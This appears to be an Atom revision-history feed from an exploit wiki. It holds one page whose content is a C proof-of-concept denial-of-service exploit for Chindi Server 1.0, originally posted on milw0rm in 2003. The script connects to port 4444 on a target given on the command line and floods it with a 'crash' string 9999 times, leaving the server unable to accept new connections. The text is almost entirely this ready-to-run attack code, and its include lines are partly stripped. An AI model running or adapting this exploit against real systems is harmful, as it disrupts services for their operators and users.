<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Chindi_Server_1.0_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E</id>
	<title>Chindi Server 1.0 拒絕服務漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Chindi_Server_1.0_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Chindi_Server_1.0_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T04:37:14Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Chindi_Server_1.0_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=2065&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /*************************************************** * Chindi server 1.0  Denial of Service * Proof of Concept by Luca Ercoli  luca.ercoli at inwind.it * After D...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Chindi_Server_1.0_%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=2065&amp;oldid=prev"/>
		<updated>2021-05-03T12:30:46Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /*************************************************** * Chindi server 1.0  Denial of Service * Proof of Concept by Luca Ercoli  luca.ercoli at inwind.it * After D...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/***************************************************&lt;br /&gt;
* Chindi server 1.0  Denial of Service&lt;br /&gt;
* Proof of Concept by Luca Ercoli  luca.ercoli at inwind.it&lt;br /&gt;
* After DoS, server appears to be up, but will not allow&lt;br /&gt;
* new connections.                                           &lt;br /&gt;
****************************************************&lt;br /&gt;
&lt;br /&gt;
#include &lt;br /&gt;
#include &lt;br /&gt;
#include &lt;br /&gt;
#include &lt;br /&gt;
#include &lt;br /&gt;
&lt;br /&gt;
#define PORT    4444&lt;br /&gt;
#define DOS     &amp;quot;crash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]){&lt;br /&gt;
&lt;br /&gt;
int nOpt,count,sockfd;&lt;br /&gt;
struct hostent *he;&lt;br /&gt;
struct sockaddr_in server_addr;&lt;br /&gt;
&lt;br /&gt;
char *host;&lt;br /&gt;
&lt;br /&gt;
printf (&amp;quot;\nChindi server 1.0 remote DoS\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
if(argc &amp;lt; 2 ) {&lt;br /&gt;
                printf (&amp;quot;Usage: %s -t target\n&amp;quot;,argv[0]);&lt;br /&gt;
                exit(0);&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
while((nOpt = getopt(argc, argv, &amp;quot;t&amp;quot;)) != -1) {&lt;br /&gt;
&lt;br /&gt;
        switch(nOpt) {&lt;br /&gt;
                        case 't':&lt;br /&gt;
                        host = optarg;&lt;br /&gt;
                        break;&lt;br /&gt;
                        default:exit(0);&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
if ((he = gethostbyname(argv[2])) == NULL)&lt;br /&gt;
          {&lt;br /&gt;
                  herror(&amp;quot;gethostbyname&amp;quot;);&lt;br /&gt;
                  exit(1);&lt;br /&gt;
          }&lt;br /&gt;
&lt;br /&gt;
server_addr.sin_family = AF_INET;&lt;br /&gt;
server_addr.sin_port = htons(PORT);&lt;br /&gt;
server_addr.sin_addr = *((struct in_addr *) he-&amp;gt;h_addr);&lt;br /&gt;
&lt;br /&gt;
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);&lt;br /&gt;
&lt;br /&gt;
if (connect (sockfd, (struct sockaddr *) &amp;amp;server_addr,sizeof(struct &lt;br /&gt;
sockaddr)) == -1)&lt;br /&gt;
          {&lt;br /&gt;
                  perror(&amp;quot;Connect&amp;quot;);&lt;br /&gt;
                  exit(1);&lt;br /&gt;
          }&lt;br /&gt;
&lt;br /&gt;
printf(&amp;quot;1. Connected\n&amp;quot;);&lt;br /&gt;
sleep(1);&lt;br /&gt;
printf(&amp;quot;2. Sending crash string\n&amp;quot;);&lt;br /&gt;
sleep(1);&lt;br /&gt;
printf(&amp;quot;3. Verifing server status: &amp;quot;);&lt;br /&gt;
sleep(1);&lt;br /&gt;
&lt;br /&gt;
for (count=0; count&amp;lt;9999; count++) send(sockfd,DOS,strlen(DOS),0);&lt;br /&gt;
&lt;br /&gt;
close(sockfd);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// milw0rm.com [2003-04-18]&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>